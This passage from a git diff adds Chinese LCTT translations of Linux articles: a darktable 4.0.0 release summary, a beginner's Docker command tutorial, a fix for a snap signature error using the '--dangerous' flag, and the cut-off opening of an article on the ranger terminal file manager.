4.0.0 is Here with a Revamped UI and Improved Color Saturation.md b/published/202207/20220704 Darktable 4.0.0 is Here with a Revamped UI and Improved Color Saturation.md new file mode 100644 index 0000000000..89eb32ac89 --- /dev/null +++ b/published/202207/20220704 Darktable 4.0.0 is Here with a Revamped UI and Improved Color Saturation.md @@ -0,0 +1,97 @@ +[#]: subject: "Darktable 4.0.0 is Here with a Revamped UI and Improved Color Saturation" +[#]: via: "https://news.itsfoss.com/darktable-4-0-release" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14802-1.html" + +darktable 4.0.0:用户界面改版,改进了色彩饱和度处理 +====== + +> darktable 4.0.0 版本来了,这是一个主要版本,带来了新的功能,简化了用户界面,还有一些其他的改进。 + +![darktable][1] + +最近,作为其 3.8.x 系列的升级版,darktable 开发人员公布了新的稳定版。 + +最新的升级带来了新功能、错误修复和重大变化。 + +### darktable 4.0 有什么新内容? + +在 darktable 4.0 中,增加了很多功能,并对用户界面进行了一些有意义的重新打造。 + +让我在此介绍一下关键的亮点: + +> **注意:** 这是一次重大版本升级,采用了新的库和配置,与旧版本不兼容。因此,你需要在进行升级之前对你的工作进行备份。 + +#### 颜色和曝光映射 + +在曝光和颜色校准模块中,你现在可以定义和保存颜色采集器的目标颜色/曝光度。 + +这应该有助于你匹配图像中的源对象,并确保一个对象在一批照片中的颜色一致性。 + +#### 完善的用户界面 + +![darktable][2] + +用户界面已经进行了改造以改善外观/感觉。首先能看到的是其默认主题改为了 “优雅灰”。 + +总的来说,填充、边距、颜色、对齐方式和图标等等都得到了改造。也添加了新的可折叠的部分(rgb 通道混合器、曝光、颜色校准),使用户界面更干净,更容易访问。 + +你会发现许多细微的变化,布局也更合理。 + +#### 性能变化 + +在简化用户偏好的同时,该版本还增加了一些优化措施。 + +你还可以改变性能配置,而不需要重启 darktable。 + +#### 改进了色彩饱和度处理 + +![darktable][3] + +Filmic v6(一种新的色彩学)的加入有助于获得更多的饱和度,特别是对于蓝天。 + +另外正如公告中提到的,可以以最小的破坏性方式恢复,调色应该更安全。除此之外,还为艺术饱和度的变化设计了一个新的信息色彩空间。 + +总的来说,你应该对这个版本对饱和度控制的改进感到高兴。 + +#### 其他变化 + +其他一些值得注意的变化包括: + +* 一个新的“引导式拉普拉斯”方法已被添加到高光重建模块中。 +* 全局颜色选择器工具的改进 +* 一个新的对比度参数 +* 一个新的集合过滤器模块 +* 增加了对 EXR 16 位(半数)浮点数输出的支持。 + +你可以在其 [官方公告帖子][4] 中查看所有的技术细节。 + +### 下载 darktable 4.0.0 + +你可以使用 [Flathub][5] 上的 Flatpak 包获得最新版本。写这篇文章时,Snap 包还没有更新。 + +此外,你也可以选择使用其 [GitHub 发布区][6] 中的 tar.xz 文件。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/darktable-4-0-release + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/darktable-4-0-0-1200x675.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/07/darktable-4.jpg +[3]: https://news.itsfoss.com/wp-content/uploads/2022/07/darktable-4-1.jpg +[4]: https://www.darktable.org/2022/07/darktable-4.0.0-released/ +[5]: https://flathub.org/apps/details/org.darktable.Darktable +[6]: https://github.com/darktable-org/darktable/releases/tag/release-4.0.0 diff --git a/published/202207/20220704 Docker Commands Tutorial - Getting Started With Docker In Linux.md b/published/202207/20220704 Docker Commands Tutorial - Getting Started With Docker In Linux.md new file mode 100644 index 0000000000..189134dae8 --- /dev/null +++ b/published/202207/20220704 Docker Commands Tutorial - Getting Started With Docker In Linux.md @@ -0,0 +1,751 @@ +[#]: subject: "Docker Commands Tutorial | Getting Started With Docker In Linux" +[#]: via: "https://ostechnix.com/getting-started-with-docker/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14849-1.html" + +Linux 下的 Docker 入门教程 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/21/101143uuwylyrrglzjfwj7.jpg) + +> 面向初学者的 Docker 基本命令指南。 + +这篇详细的 Docker 教程覆盖了核心的 **Docker 命令**,比如,如何创建新容器、运行容器、删除容器等。另外,这篇教程也解释了如何从已有的容器构建你自己的 Docker 镜像,如何移除容器和镜像。言归正传,现在开始 Docker 的基本用法。 + +### Docker 安装步骤 + +大多数现代 Linux 操作系统都可以安装 Docker。如果还没安装过 Docker,请参考下面的步骤: + +* [在 AlmaLinux、CentOS、Rocky Linux 上安装 Docker Engine 和 Docker Compose][1] +* [如何在 Ubuntu 上安装 Docker 和 Docker Compose][2] + +### 什么是 Docker 镜像和 Docker 容器? + +在开始 Docker 之前,我先说明一下 Docker 镜像和 Docker 容器是什么。 + +Docker 镜像是一个描述容器如何运行的的文件,Docker 容器是 Docker 镜像在运行或被终止时的一个阶段。 + +容器和主机上的其他文件是隔离的。 + +当我们运行一个 Docker 容器的时候,它会使用一个被隔离出来的文件系统,这个文件系统是由一个 Docker 镜像提供的。Docker 镜像包含了运行应用程序所需要的一切东西 - 所有的依赖、配置、脚本、二进制文件等等。 + +镜像也包含容器所需要的其他配置项,比如说环境变量、默认运行的命令,以及其他元数据。 + +### Linux 下的 Docker 入门 + +下面的所有步骤都已在 Ubuntu 22.04、20.04 以及 18.04 LTS 服务器版本中测试通过。后续小节中提供的步骤对于所有 Linux 平台都是通用的。比如,在基于 RHEL 的系统中(比如 AlmaLinux)可以运行相同的命令。 + +#### 1、搜索 Docker 镜像 + +我们可以从叫做 [Docker hub][3] 的 Docker 官方库获得镜像,或者我们也可以制作自己的镜像。 + +有些人可能不清楚,Docker hub 是一个线上的中心化仓库,Docker 用户们在上面构建、测试、然后保存他们的 Docker 镜像。Docker hub 有数以万计的 Docker 镜像,而且这个数字还在每天增长。 + +你可以从命令行通过 ``docker search` 命令搜索任意 Docker 镜像。 + +比如要搜索基于 **Alpine** Linux 的 Docker 镜像,运行: + +``` +$ sudo docker search alpine +``` + +输出结果: + +![Search Docker Images][4] + +搜索基于 **Ubuntu** 的镜像,运行: + +``` +$ sudo docker search ubuntu +``` + +你还可以搜索其他任意的应用,比如 **Nginx**,像下面这样: + +``` +$ sudo docker search nginx +``` + +Docker hub 有各种各样的镜像。你能在 Docker hub 上找到各种已构建好的 Docker 镜像,比如说操作系统、应用,或者多个应用的合体(比如 LAMP 栈)。 + +如果你找的东西不在上面,你还可以构建一个镜像,然后通过 Docker hub 向其他人开放,或者只是自己用。 + +#### 2、下载 Docker 镜像 + +从终端运行下面的命令可以下载 Ubuntu OS 的 Docker 镜像: + +``` +$ sudo docker pull ubuntu +``` + +上面的这个命令会从 Docker hub 下载最新的 Ubuntu 镜像。 + +输出结果: + +``` +Using default tag: latest +latest: Pulling from library/ubuntu +405f018f9d1d: Pull complete +Digest: sha256:b6b83d3c331794420340093eb706a6f152d9c1fa51b262d9bf34594887c2c7ac +Status: Downloaded newer image for ubuntu:latest +docker.io/library/ubuntu:latest +``` + +你也可以用下面的命令下载指定版本的 Ubuntu 镜像: + +``` +$ sudo docker pull ubuntu:20.04 +``` + +Docker 允许我们下载任何镜像,并且在那个镜像上创建容器,这些操作与主机的操作系统无关。 + +比如要下载 Alpine 系统的镜像,运行: + +``` +$ sudo docker pull alpine +``` + +![Download Docker Images][5] + +#### 3、列出 Docker 镜像 + +所有已下载的 Docker 镜像都保存在 `/var/lib/docker` 路径下。 + +要查看所有已下载的 Docker 镜像,运行: + +``` +$ sudo docker images +``` + +输出结果: + +``` +REPOSITORY TAG IMAGE ID CREATED SIZE +ubuntu latest 27941809078c 3 weeks ago 77.8MB +ubuntu 20.04 20fffa419e3a 3 weeks ago 72.8MB +alpine latest e66264b98777 5 weeks ago 5.52MB +``` + +![List Docker Images][6] + +从上面可以看出来,我已经下载了三个 Docker 镜像 - Ubuntu latest、Ubuntu 20.04 和 Alpine Linux。 + +现在,我们看一下接下来如何从下载的镜像启动或者运行容器。 + +#### 4、运行 Docker 容器 + +有两种方法我们可以启动一个容器 - 使用 Docker 镜像的标签TAG 或者 镜像 IDImage ID。 + +标签指的是一个特定的镜像快照,镜像 IDImage ID 是那个镜像对应的唯一识别码。 + +可以查看下面这个截图: + +![Docker Image Tag and ID][7] + +从上面的解脱可以看到,标签是 `latest` 和 `20.04`。 + +* `27941809078c` 是 Ubuntu latest 的 Docker 镜像的镜像 ID, +* `20fffa419e3a` 是 Ubuntu 20.04 的 Docker 镜像的镜像 ID, +* 而 `e66264b98777` 是 Alpine latest 的 Docker 镜像的镜像 ID。 + +##### 4.1、使用标签运行容器 + +下载选择好的 Docker 镜像后,运行下面的命令来启动 Docker 容器,并且通过它的标签进行连接。 + +``` +$ sudo docker run -t -i ubuntu:latest /bin/bash +``` + +或者, + +``` +$ sudo docker run -it ubuntu:latest /bin/bash +``` + +这里, + +* `-t`:在 Ubuntu 容器内分配一个伪终端。 +* `-i`:通过从容器获取一个标准输入(STDIN),允许我们创建一个可交互的连接。 +* `ubuntu:latest`:标签为 `latest` 的 Ubuntu Docker 镜像。 +* `/bin/bash`:新容器的 BASH shell。这个是可选项。如果你不加 shell 的话,会分配默认的 shell 给容器。 + +启动容器后,会自动进入容器的 shell(命令行): + +![Run Containers Using Tag][8] + +基于最新 Ubuntu 镜像的容器现在已经启动了。所有的新容器都会被赋予一个名字和唯一的 ID。从上面的输出可以看到,那个 Ubuntu 容器的 ID 是 `2f2a5b826762`。一会儿我们会看到从哪找到容器的名字。 + +现在就可以在容器里面工作了。当你完成容器内的工作后,你可以回到主机操作系统的终端(在我这个例子中,操作系统是 Ubuntu 22.04 LTS)而不需要关掉容器(客户机)。 + +##### 4.2、从运行中的容器中脱离 + +使用 `CTRL+P` 然后 `CTRL+Q` 就可以从运行中的容器脱离(不需要关闭)。 + +现在,你就回到了你原来的主机的终端窗口。请注意,容器还在后台运行中,我们并没有关掉它。 + +##### 4.3、使用镜像 ID 运行容器 + +另一种启动容器并且连接进去的方式是通过使用镜像 ID,像下面这样: + +``` +$ sudo docker run -it 20fffa419e3a /bin/bash +``` + +这里, + +* `20fffa419e3a` - 镜像 ID + +按 `CTRL+P` 然后 `CTRL+Q` 可以从当前容器中脱离回到主机系统的终端。我们只是从容器中脱离,但是没有让它停止。容器仍然在后台运行中。 + +##### 4.4. 在脱离模式中运行容器 + +在前面的小结中,我们启动了一个容器并且立刻连接了进去。然后当容器中的工作结束后,我们从容器中脱离了出来。 + +你也可以在脱离模式(不需要自动连接进去)中启动容器。 + +在后台运行一个容器,输入命令: + +``` +$ sudo docker run -it -d alpine:latest +``` + +输出结果: + +``` +d74f2ceb5f3ad2dbddb0b26e372adb14efff91e75e7763418dbd12d1d227129d +``` + +上面输出结果的前 12 字符代表的是容器的 ID。 + +通过 `docker ps` 命令,你可以验证容器是否在运行: + +``` +$ sudo docker ps +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +d74f2ceb5f3a alpine:latest "/bin/sh" 3 seconds ago Up 2 seconds zen_pascal +``` + +![Run Containers In Background][9] + +从上面个的输出结果中可以看到,我们创建了一个 Alpine 容器,但是还没有连接进去。 + +如果你想连接进去,很简单,运行: + +``` +$ sudo docker attach d74f2ceb5f3a +``` + +#### 5、查看运行中的容器 + +查看运行中的容器,运行下面的命令: + +``` +$ sudo docker ps +``` + +输出结果: + +``` +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +f7e04eed577e 20fffa419e3a "/bin/bash" 6 minutes ago Up 6 minutes brave_mclean +2f2a5b826762 ubuntu:latest "/bin/bash" 18 minutes ago Up 18 minutes hungry_leavitt +``` + +![View Running Containers][10] + +这里, + +* `f7e04eed577e` 是由镜像 `2f2a5b826762` 创建的 Ubuntu 容器的 ID。并且,`brave_mclean` 是这个容器的名字。 +* `2f2a5b826762` 是由镜像 “ubuntu:latest” 创建的 Ubuntu 容器的 ID。并且,`hungry_leavitt` 是这个容器的名字。 + +当一个新容器被创建后,会赋给它一个唯一的 ID 和名字,这样我们就能通过它的 ID 和名字来连接它。 + +**注意:请注意容器 ID 和 Docker 镜像 ID 是不同的**。 + +列出所有可用的(运行或者停止)容器,运行: + +``` +$ sudo docker ps -a +``` + +#### 6、从运行中的容器脱离或连接 + +首先,通过 `docker ps` 命令找到容器的 ID。 + +``` +$ sudo docker ps +``` + +然后,运行 `docker attach` 命令连接到运行中的容器。 + +``` +$ sudo docker attach +``` + +比如像下面这样,我要连接到 ID 为 `f7e04eed577e` 的容器: + +``` +$ sudo docker attach f7e04eed577e +``` + +你也可以通过使用它的名字连接到一个容器。 + +``` +$ sudo docker attach brave_mclean +``` + +现在你就登录到这个容器了。 + +想要从容器脱离,只要按 `CTRL+P` 然后 `CTRL+Q`。 + +#### 7、启动、重启、暂停和终止容器 + +你可以使用容器的名字或 ID 来启动,重启,暂停或者终止一个 Docker 容器。 + +首先,通过 `docker ps -a` 命令找到容器的名字或 ID。 + +![Find Container ID And Name][11] + +现在,通过使用 `docker start` 命令,加上名字或 ID,你可以启动一个容器,像下面这样: + +``` +$ sudo docker start modest_cray +``` + +``` +$ sudo docker start 10615254bb45 +``` + +用空格隔开,就可以**启动多个容器**,像下面这样: + +``` +$ sudo docker start 24b5ee8c3d3a 56faac6d20ad d74f2ceb5f3a +``` + +优雅的重启一个运行中的容器,运行: + +``` +$ sudo docker start 10615254bb45 +``` + +暂停一个运行中的容器: + +``` +$ sudo docker pause 10615254bb45 +``` + +把暂停的容器恢复过来: + +``` +$ sudo docker unpause 10615254bb45 +``` + +直到其它容器都停止前,阻塞一个容器: + +``` +$ sudo docker wait 10615254bb45 +``` + +我们可以很容易地通过使用它的名字或 ID 来终止一个容器。如果你已经在容器的 shell 里了,只需要运行下面的命令就可以非常简单的终止: + +``` +# exit +``` + +你也可以使用下面的命令从 Docker 的主机系统中终止(关闭容器)容器: + +``` +$ sudo docker stop 10615254bb45 +``` + +用空格隔开,你可以退出多个容器,像下面这样。 + +``` +$ sudo docker stop 35b5ee8c3d3a 10615254bb45 +``` + +在退出容器之后,通过列出所有容器的命令来确保它确实被终止了: + +``` +$ sudo docker ps +``` + +#### 8、强行关闭 Docker 容器 + +`docker stop` 命令可以非常优雅的关掉运行中的容器。有时候,你可能卡在一个没有响应的容器,或者你想强制关掉容器。 + +通过给一个运行中的容器发送 `SIGKILL` 来强行关闭容器,运行: + +``` +$ sudo docker kill 10615254bb45 +``` + +#### 9、在关闭容器后自动删除他们 + +也许你想测试一个容器,然后当你完成在容器中的工作就把它删掉。如果是这样,通过使用 `--rm` 标签在关闭后自动删掉容器: + +``` +$ sudo docker run -it --rm debian:latest +``` + +当你从容器中退出,它会自动被删掉。 + +![Automatically Delete Containers][12] + +从上面的结果可以看到,我先创建了一个新的 Debian 容器。当我退出这个容器的时候,它就被自动删掉了。`docker ps -a` 命令的输出结果显示,Debian 容器现在不存在。 + +#### 10、给容器命名 + +如果你再看一下之前命令的输出结果,当你启动一个容器的时候,每个容器都被赋予了一个随机的名字。如果你不命名你的容器,Docker 会自动替你给他们命名。 + +现在看一下下面的例子: + +``` +$ sudo docker run -it -d alpine:latest +2af79e97a825c91bf374b4862b9e7c22fc22acd1598005e8bea3439805ec335d +``` + +``` +$ sudo docker run -it -d alpine:latest +80b53b7e661d33696b65c78267fc3f067b6100799c925910db4721963e3fae0a +``` + +``` +$ sudo docker ps +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +80b53b7e661d alpine:latest "/bin/sh" 3 seconds ago Up 2 seconds bold_margulis +2af79e97a825 alpine:latest "/bin/sh" 6 seconds ago Up 5 seconds recursing_taussig +``` + +从上面的结果可以看到,尽管我用同一个 Docker 镜像创建了两个容器,它们获得了不同的 ID 和名字。 + +如果你想给容器赋一个不变的名字,使用 `--name` 标签,像下面这样: + +``` +$ sudo docker run -it -d --name ostechnix_alpine alpine:latest +``` + +上面的命令会在脱离模式中创建一个叫做 `ostechnix_alpine` 的新容器。 + +我们看一下当前运行的容器列表: + +``` +$ sudo docker ps +``` +输出结果: + +``` +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +397111fac537 alpine:latest "/bin/sh" 2 seconds ago Up 2 seconds ostechnix_alpine +80b53b7e661d alpine:latest "/bin/sh" 7 minutes ago Up 7 minutes bold_margulis +2af79e97a825 alpine:latest "/bin/sh" 7 minutes ago Up 7 minutes recursing_taussig +``` + +![Assign Name To Containers][13] + +注意到上面输出结果中的第一个容器的名字了吗?对了,我们给这个容器分配了一个自定义的名字(也就是 `ostechnix_alpine`)。 + +给容器分配自定义的名字可以给我们带来其他好处。只要看一下容器的名字,我们就能很容易的确定那个容器里面安装了什么。 + +#### 11、构建自定义 Docker 镜像 + +Docker 不仅仅是下载和使用已存在的容器。你也可以创建自己的自定义 Docker 镜像。 + +现在我们开始一个 Ubuntu 容器: + +``` +$ sudo docker run -it ubuntu:latest +``` + +现在,你会进入到容器的 shell。 + +然后,在容器中,你可以安装任何的软件或者做你想做的事情。 + +比如,我们在容器中安装 Apache Web 服务器。 + +``` +# apt update +# apt install apache2 +``` + +相似地,在容器中,可以根据自己的需要安装和测试软件。 + +完成以后,从容器脱离(不要退出)回到主机系统的 shell。不要终止或者关闭容器。使用 `CTRL+P` 然后 `CTRL+Q` 从容器中脱离,这样不会关闭容器。 + +在你的 Docker 主机的终端,运行下面的命令来找到容器 ID: + +``` +$ sudo docker ps +``` + +最后,创建一个当前运行中的容器的 Docker 镜像,使用命令: + +``` +$ sudo docker commit 377e6d77ebb5 ostechnix/ubuntu_apache +``` + +输出结果: + +``` +sha256:bc5e5f95ca592a3585fda2c5a40ec30c98e292046ef70390a2c3b7863cc6f7c1 +``` + +这里, + +* `377e6d77ebb5` – Ubuntu 容器的 ID。 +* `ostechnix` – 创建容器的用户的名字。 +* `ubuntu_apache` – 用户 `ostechnix` 创建的 Docker 镜像的名字。 + +现在我们查看一下新的 Docker 镜像是否被创建了,使用下面的命令: + +``` +$ sudo docker images +``` + +输出结果: + +``` +ostechnix/ubuntu_apache +``` + +![Build Custom Docker Images][14] + +从上面给的结果中可以看到,从运行中的容器创建的新 Docker 镜像已经在我们的 Docker 主机系统中了。 + +现在你就可以从这个新的 Docker 镜像创建行容器了,用之前的命令: + +``` +$ sudo docker run -it ostechnix/ubuntu_apache +``` + +#### 12、移除容器 + +当你在 Docker 容器中完成所有开发后,如果你不需要它们了,你可以删掉它们。 + +为此,首先我们需要终止(关闭)运行中的容器。 + +用这个命令来看一下运行中的容器: + +``` +$ sudo docker ps +``` + +输出结果: + +``` +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +377e6d77ebb5 ubuntu:latest "bash" 7 minutes ago Up 7 minutes elegant_beaver +``` + +通过使用它的 ID 来终止运行中的容器: + +``` +$ sudo docker stop 377e6d77ebb5 +``` + +现在,使用这个命令删除容器: + +``` +$ sudo docker rm 377e6d77ebb5 +``` + +同样,如果不再需要所有的容器,关闭并删除它们。 + +一个一个的删除多个容器会是一项繁琐的工作。所以,我们可以把所有停止的容器一次性删掉,运行: + +``` +$ sudo docker container prune +``` + +敲 `Y` 然后回车键,这些容器就被删掉了。 + +``` +WARNING! This will remove all stopped containers. +Are you sure you want to continue? [y/N] y +Deleted Containers: +397111fac5374921b974721ee646b2d5fbae61ca9c6e8b90fbf47952f382a46b +80b53b7e661d33696b65c78267fc3f067b6100799c925910db4721963e3fae0a +[...] +Total reclaimed space: 176B +``` + +![Delete Containers][15] + +这个命令只有在最新版中有效。 + +使用下面的命令来验证是否所有容器都被删除了: + +``` +$ sudo docker ps -a +``` + +如果看不到任何结果,说明所有容器被删掉了。 + +#### 13、删除 Docker 镜像 + +记住,在删除所有镜像之前,首先要删掉所有从那些镜像创建的容器。 + +当你删掉容器后,你可以删掉你不需要的 Docker 镜像。 + +列出所有下载的 Docker 镜像: + +``` +$ sudo docker images +``` + +输出结果: + +``` +REPOSITORY TAG IMAGE ID CREATED SIZE +ostechnix/ubuntu_apache latest bc5e5f95ca59 14 minutes ago 229MB +debian latest d2780094a226 11 days ago 124MB +ubuntu latest 27941809078c 3 weeks ago 77.8MB +ubuntu 20.04 20fffa419e3a 3 weeks ago 72.8MB +alpine latest e66264b98777 5 weeks ago 5.52MB +``` + +从上面可以看到,在我们的主机上有 5 个 Docker 镜像。 + +通过使用镜像 ID 来删掉它们: + +``` +$ sudo docker rmi ce5aa74a48f1 +``` + +输出结果: + +``` +Untagged: ostechnix/ubuntu_apache:latest +Deleted: sha256:bc5e5f95ca592a3585fda2c5a40ec30c98e292046ef70390a2c3b7863cc6f7c1 +Deleted: sha256:a8e4797160a2b2d33d8bd1bd67e008260c022b3a53fbcc198b2b74d9eae5961d +``` + +同样,删除其他所有 Docker 镜像。 + +删掉所有未运行的容器、所有镜像、构建的缓存、所有网络,运行: + +``` +$ sudo docker system prune -a +``` + +使用这个命令的时候要注意,它会删掉所有没有使用的容器、网络、镜像(包括 挂起dangling未使用unreferenced 的) + +![Delete Everything In Docker][16] + +默认情况下,即使当前没有容器在使用磁盘卷volumes,为防止重要数据被删除,磁盘卷也不会被删除。 + +如果你想删掉所有东西,包括分配的卷,使用 `--volumes` 标签。 + +``` +$ sudo docker system prune -a --volumes +``` + +### Docker 问题汇总 + +如果 Docker 镜像正在被运行或停止的容器使用,Docker 不会允许你删除这些镜像。 + +比如,当我尝试从一个以前的 Ubuntu 服务器上删除 ID 为 `b72889fa879c` 的 Docker 镜像。我会得到下面的错误: + +``` +Error response from daemon: conflict: unable to delete b72889fa879c (must be forced) - image is being used by stopped container dde4dd285377 +``` + +这是因为你想删除的 Docker 镜像正在被另一个容器使用。 + +所以,我们先查看一下运行中的容器,使用命令: + +``` +$ sudo docker ps +``` + +输出结果: + +![Show running docker containers][17] + +噢,没有运行中的容器。 + +我们在看一下所有的容器(运行和停止的),用这个命令: + +``` +$ sudo docker ps -a +``` + +输出结果: + +![Show running and stopped docker containers][18] + +可以看到,仍然有停止的容器在使用其中一个 Docker 镜像。所以,我们先把所有容器删掉。 + +比如: + +``` +$ sudo docker rm 12e892156219 +``` + +类似地,向上面那样,用对应容器的 ID 将它们都删除。 + +当把所有容器删掉后,移除掉 Docker 镜像。 + +比如: + +``` +$ sudo docker rmi b72889fa879c +``` + +就这么简单。现在确认是否还有其他 Docker 镜像在主机上,使用命令: + +``` +$ sudo docker images +``` + +你现在应该不再有任何 docker 镜像了。 + +### 总结 + +在这篇全面的 Docker 入门教程中,我们解释了 Docker 的基本操作,比如创建、运行、搜索、删除容器,还有从 Docker 镜像构建你自己的容器。同时,我们也解释了如何在不需要 Docker 容器和镜像的时候删除它们。 + +希望你现在对 **Docker 的使用** 有一个基本的了解。 + +更多细节,请参考这篇教程最下面的官方资源链接,或者在下面的评论区进行评论。 + +### 相关资料 + +* [Docker 官网][19] +* [Docker 文档][20] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/getting-started-with-docker/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[MCGA](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/install-docker-almalinux-centos-rocky-linux/ +[2]: https://ostechnix.com/install-docker-ubuntu/ +[3]: https://hub.docker.com/ +[4]: https://ostechnix.com/wp-content/uploads/2022/07/Search-Docker-Images.png +[5]: https://ostechnix.com/wp-content/uploads/2022/07/Download-Docker-Images.png +[6]: https://ostechnix.com/wp-content/uploads/2022/07/List-Docker-Images.png +[7]: https://ostechnix.com/wp-content/uploads/2022/07/Docker-Image-Tag-and-ID.png +[8]: https://ostechnix.com/wp-content/uploads/2022/07/Run-Containers-Using-Tag-1.png +[9]: https://ostechnix.com/wp-content/uploads/2022/07/Run-Containers-In-Background-1.png +[10]: https://ostechnix.com/wp-content/uploads/2022/07/View-Running-Containers.png +[11]: https://ostechnix.com/wp-content/uploads/2022/07/Find-Container-ID-And-Name.png +[12]: https://ostechnix.com/wp-content/uploads/2022/07/Automatically-Delete-Containers.png +[13]: https://ostechnix.com/wp-content/uploads/2022/07/Assign-Name-To-Containers.png +[14]: https://ostechnix.com/wp-content/uploads/2022/07/Build-Custom-Docker-Images.png +[15]: https://ostechnix.com/wp-content/uploads/2022/07/Delete-Containers.png +[16]: https://ostechnix.com/wp-content/uploads/2022/07/Delete-Everything-In-Docker.png +[17]: https://ostechnix.com/wp-content/uploads/2016/04/sk@sk-_005-1-1.jpg +[18]: https://ostechnix.com/wp-content/uploads/2016/04/sk@sk-_006-1.jpg +[19]: https://www.docker.com/ +[20]: https://docs.docker.com/ diff --git a/published/202207/20220704 Fixing -cannot find signatures with metadata for snap- Error in Ubuntu and other Linux.md b/published/202207/20220704 Fixing -cannot find signatures with metadata for snap- Error in Ubuntu and other Linux.md new file mode 100644 index 0000000000..8ca837d489 --- /dev/null +++ b/published/202207/20220704 Fixing -cannot find signatures with metadata for snap- Error in Ubuntu and other Linux.md @@ -0,0 +1,87 @@ +[#]: subject: "Fixing “cannot find signatures with metadata for snap” Error in Ubuntu and other Linux" +[#]: via: "https://itsfoss.com/snap-metadata-signature-error/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14815-1.html" + +修复 Ubuntu 中的 “cannot find signatures with metadata for snap” 错误 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/11/112312l4y0jf3gag8sam4g.jpg) + +前几天我试图安装 [massCode][1] 应用。对于安装,它提供了一个 Snap 文件以供下载。 + +当我尝试从 Snap 文件安装应用程序时: + +``` +sudo snap install snap_file +``` + +它给了我以下错误: + +``` +error: cannot find signatures with metadata for snap "masscode_2.6.1_amd64.snap" +``` + +![cannot find signature with metadata for snap][2] + +这很奇怪。[在 Ubuntu 中添加外部仓库][3] 时,你必须添加 GPG 密钥。但是这里的开发人员没有提供这样的东西。 + +“修复”简单易行。让我给你解释一下。 + +### 处理 “cannot find signatures with metadata for snap” 错误 + +这里其实不涉及签名。 + +发生的情况是你从第三方下载了 Snap 安装程序。 Ubuntu 中的 Snap 机制希望你从官方 Snap 商店获取 Snap 包。 + +由于它不是来自 Snap 商店,因此你会看到 “cannot find signatures with metadata for snap” 的错误消息。与大多数错误消息一样,这个错误消息不是描述性的。 + +那么,这里的解决方案是什么? + +任何未通过 Snap 商店分发的 Snap 包都必须使用 `--dangerous` 选项进行安装。这就是规则。 + +``` +sudo snap install --dangerous path_to_snap_file +``` + +这样,你告诉 Snap 包管理器显式安装 Snap 包。 + +在这里,我使用了这个选项并且能够成功地从它的 Snap 包中安装 massCode。 + +![installing third party snap packages][4] + +以这种方式安装 Snap 包有多“危险”?几乎和下载并 [安装 deb 格式安装包][5] 相同。 + +在我看来,如果你是从项目开发者的网站上下载 Snap 包,你已经在信任该项目了。在这种情况下,你可以使用 `--dangerous` 选项安装它。 + +当然,你应该首先搜索该软件包是否在 Snap 商店中可用: + +``` +snap find package_name +``` + +我希望这个快速的小技巧可以帮助你修复 Snap 错误。如果你有任何问题或建议,请告诉我。如果你想了解更多信息,请参阅 [这个使用 Snap 命令指南][6]。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/snap-metadata-signature-error/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://masscode.io/ +[2]: https://itsfoss.com/wp-content/uploads/2022/07/cannot-find-signature-with-metadata-for-snap-800x205.png +[3]: https://itsfoss.com/adding-external-repositories-ubuntu/ +[4]: https://itsfoss.com/wp-content/uploads/2022/07/installing-third-party-snap-packages-800x358.png +[5]: https://itsfoss.com/install-deb-files-ubuntu/ +[6]: https://itsfoss.com/use-snap-packages-ubuntu-16-04/ diff --git a/published/202207/20220704 Manage your files in your Linux terminal with ranger.md b/published/202207/20220704 Manage your files in your Linux terminal with ranger.md new file mode 100644 index 0000000000..585feda04a --- /dev/null +++ b/published/202207/20220704 Manage your files in your Linux terminal with ranger.md @@ -0,0 +1,116 @@ +[#]: subject: "Manage your files in your Linux terminal with ranger" +[#]: via: "https://opensource.com/article/22/7/manage-files-linux-terminal-ranger" +[#]: author: "Sumantro Mukherjee https://opensource.com/users/sumantro" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14835-1.html" + +用 ranger 在 Linux 终端管理你的文件 +====== + +> 试试这个轻量级的开源工具,不用离开终端就可以预览文件。 + +![Filing cabinet for organization][1] + +查看你的文件和文件夹的最基本方法是使用命令 `ls` 和 `ll`。但是有时候,我不仅想看到文件的元数据,还想一目了然地看到文件的内容。为此,我使用 ranger。 + +如果你喜欢在控制台中工作,并使用 [Vim][2] 或 